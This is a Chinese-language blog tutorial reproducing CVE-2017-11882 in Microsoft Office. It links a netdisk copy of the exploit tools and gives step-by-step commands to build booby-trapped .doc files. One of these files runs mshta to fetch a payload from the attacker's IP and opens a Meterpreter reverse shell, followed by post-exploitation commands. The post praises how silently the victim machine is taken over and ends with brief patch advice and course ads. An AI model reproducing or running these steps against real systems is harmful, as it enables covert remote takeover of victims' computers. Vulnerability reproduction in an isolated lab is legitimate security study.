[漏洞复现] CVE-2017-11882 通杀所有office版本

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[漏洞复现] CVE-2017-11882 通杀所有office版本相关的知识,希望对你有一定的参考价值。

技术分享图片


1、漏洞概述

这几个月来,针对微软Office套件最火热最流行的攻击手段,莫过于基于CVE-2017-11882的漏洞利用。

2017年11月14号,微软推送了常规的安全更新,其中,关于CVE-2017-11882的安全更新引起了圈里的关注,随之而来的,便是针对此漏洞的POC攻击代码被逐渐公开。各路大神在Twitter和Github上相继公布自己的POC及对应的漏洞利用姿势,将这股烈火蔓延到2018年。

为什么这个漏洞会引起这么大的关注度呢?

从漏洞利用效果来看,它可以通杀Office 2003到2016的所有版本,并且整个攻击环境的构建非常简单,姿势又非常“优雅”。例如,有些攻击效果会出现弹框,会出现CPU飙高,会发生异常等等,而这个漏洞的利用效果,堪称“无色无味”。在后续实验过程中,大家可以自行体会。

更重要的是,这枚“通杀型”的Office高危漏洞,其实已经潜伏了17年之久,直到近几个月才被发现并低调修复……

那么,这个漏洞是怎么回事呢?简单来说:

此漏洞是由Office软件里面的 [公式编辑器] 造成的,由于编辑器进程没有对名称长度进行校验,导致缓冲区溢出,攻击者通过构造特殊的字符,可以实现任意代码执行。

举个例子,如果黑客利用这个漏洞,构造带有shell后门的office文件,当普通用户打开这个office文件,则电脑可以被黑客直接控制。

影响版本: 
office 2003 
office 2007 
office 2010 
office 2013 
office 2016

2、漏洞复现环境

Kali Linux 2017.03 + Windows 7 + Office 2016 
渗透机:Kali Linux + POC代码 
靶机:Win7 + Office 2016

注:为了节省大家实验时间,我将此实验涉及到的工具全部上传到网盘。

链接:https://pan.baidu.com/s/17rrYP33Nv2-dNxS7wc1foA  密码:nbw2

3、实验流程

①下载office 2016 
直接上msdn.itellyou.cn下载office 2016 

技术分享图片

种子链接:ed2k://|file|cn_office_professional_plus_2016_x86_x64_dvd_6969182.iso|2588266496|27EEA4FE4BB13CD0ECCDFC24167F9E01|/



②安装office 2016 
在Win7靶机中,安装office 2016套件,这里需要一些时间,大家也可以用其他windows和office版本来测试。 

技术分享图片


③下载POC代码 
Github上有很多大神分享针对这个漏洞的POC代码,但测试过程中,发现有些验证效果不出来,有些验证过程太复杂。 
建议大家直接将我网盘分享的CVE-2017-11882文件夹下载下来,放到Kali Linux渗透机桌面。如下: 

技术分享图片

④进入shell终端,使用POC代码生成特殊改造的word文件

进入POC代码目录 
[email protected]:~/Desktop# cd CVE-2017-11882

查看文件 
[email protected]:~/Desktop/CVE-2017-11882# ls

生成word文档11882.doc,打开doc文件之后,会弹出计算器(以此验证offce漏洞) 
[email protected]:~/Desktop/CVE-2017-11882# python CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o 11882.doc

生成word文档11882.doc,打开doc文件之后,会弹出任务管理器(以此验证offce漏洞) 
[email protected]:~/Desktop/CVE-2017-11882# python CVE-2017-11882.py -c "cmd.exe /c taskmgr.exe" -o 11882-2.doc

再次查看,可以看到多了两个doc文件 
[email protected]:~/Desktop/CVE-2017-11882# ls

技术分享图片

⑤将文件拷贝到Win7靶机上,并验证效果 

技术分享图片

使用Word 2016打开第一个文件-11882.doc文件,查看效果: 

技术分享图片

使用Word 2016打开第二个文件-11882-2.doc文件,查看效果: 

技术分享图片

可以看到,由于Office2016存在CVE-2017-11882漏洞,当打开特殊构造的word文件时,windows会执行其他动作。既然此漏洞能够造成win系统执行其他动作,那么,是否顺便可以反弹会话,直接被渗透机控制呢?答案是肯定的。接下来我们来做进一步的验证。


⑥在Kali Linux上构造带有shell后门的word文件,并开启监听

首先,为了后续更好的管理和使用渗透代码,可以将网盘中下载的代码”shell.rb”,名称修改为“cve-2017-11886.rb” 

技术分享图片

将CVE-2017-11882.rb拷贝到metasploit目录中,这里拷贝到目录/usr/share/metasploit-framework/modules/exploits/windows/smb

[email protected]:~# cd /usr/share/metasploit-framework/modules/exploits/windows/smb 
[email protected]:/usr/share/metasploit-framework/modules/exploits/windows/smb# cp ~/Desktop/CVE-2017-11882/CVE-2017-11882.rb CVE-2017-11882.rb 
[email protected]:/usr/share/metasploit-framework/modules/exploits/windows/smb# ls


技术分享图片


进入Metasploit框架,搜索CVE-2017-11882:

[email protected]:~# msfconsole 
msf > search CVE-2017-11882


技术分享图片

使用CVE-2017-11882.rb模块,开启Meterpreter监听会话:

使用模块 
msf > use exploit/windows/smb/CVE-2017-11882 
设置tcp反弹会话 
msf exploit(CVE-2017-11882) > set payload windows/meterpreter/reverse_tcp 
设置渗透机ip地址(这里通过ifconfig命令查看) 
msf exploit(CVE-2017-11882) > set lhost 172.16.70.216 
设置路径为11882,可自定义 
msf exploit(CVE-2017-11882) > set uripath 11882 
开启渗透,进入监听状态 
msf exploit(CVE-2017-11882) > exploit

技术分享图片


使用CVE-2017-11882.py模块,生成带有shell的doc文件:

[email protected]:~/Desktop/CVE-2017-11882# python CVE-2017-11882.py -c "mshta http://172.16.70.216:8080/11882" -o 11882-3.doc

此时,CVE-2017-11882目录中增加了另外一个word文件11882-3,而此文件的功能便是:打开它的电脑会反弹shell会话到控制机 

技术分享图片


将文件11882-3.doc拷贝到靶机win7上面: 

技术分享图片


在Win7打开11882-3.doc文件,此时观察Win7靶机和Kali Linux渗透机 
注:做这个实验之前,首先要求渗透机Kali Linux和靶机Win7能够联通,例如在我的虚拟环境中,Kali Linux的ip地址是172.16.70.216,而Win7的地址是172.16.70.144,两个虚拟机采用NAT网卡模式。

技术分享图片

当靶机打开文件时,整个过程没有任何弹框,也没有其他异常动作,整个攻击效果非常“优雅”,肉鸡很难发现。 
此时,在另一段的Kali Linux渗透机,已经获取到shell会话。 

技术分享图片

通过命令sessions查看meterpreter会话:

msf exploit(CVE-2017-11882) > sessions

技术分享图片


此后便可以通过meterpreter来对会话进行管理:

进入会话 
msf exploit(CVE-2017-11882) > sessions 1 
查看系统信息 
meterpreter > sysinfo 
查看当前用户 
meterpreter > getuid 
截屏 
meterpreter > screenshot

技术分享图片

技术分享图片


可以看到,安装了最新office 2016版本的win7,因为CVE-2017-11882漏洞,当打开带有shell后门的doc文件时,kali渗透机可以获取到完美的后门并控制win7。

4、漏洞修复

①在线更新;开启Windows Update更新,这种方式对于大部分人来说就够了。 
②打补丁;此漏洞对应的微软补丁地址:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882


=====================

【职位套餐】

①《CCIE魔鬼训练营套餐》:零基础到CCIE网络安全专家,包含CCNA/CCNP/CCIE不同等级的课程内容,涉及R&S、ISP、Security、渗透测试等课程内容,行业最经典,优惠幅度最大。课程链接:http://edu.51cto.com/pack/view/id-255.html

②《Web安全工程师》:掌握Web漏洞扫描、信息探测、SQL注入、文件上传、Webshell木马、远程执行、XSS跨站脚本攻击、CSRF跨站请求伪造等核心技能。课程链接:http://edu.51cto.com/topic/1181.html

③《高级Web安全工程师》:掌握Python编程、Web开发(Django)、Web安全,通往高级Web安全工程师。课程链接:http://edu.51cto.com/topic/1183.html


以上是关于[漏洞复现] CVE-2017-11882 通杀所有office版本的主要内容,如果未能解决你的问题,请参考以下文章

CVE-2017-11882漏洞复现

CVE-2017-11882漏洞 Msf利用复现

CVE-2017-11882-Office远程代码执行漏洞复现

Office CVE-2017-11882复现

CVE-2017-11882复现-office命令执行

隐藏17年的Office远程代码执行漏洞(CVE-2017-11882)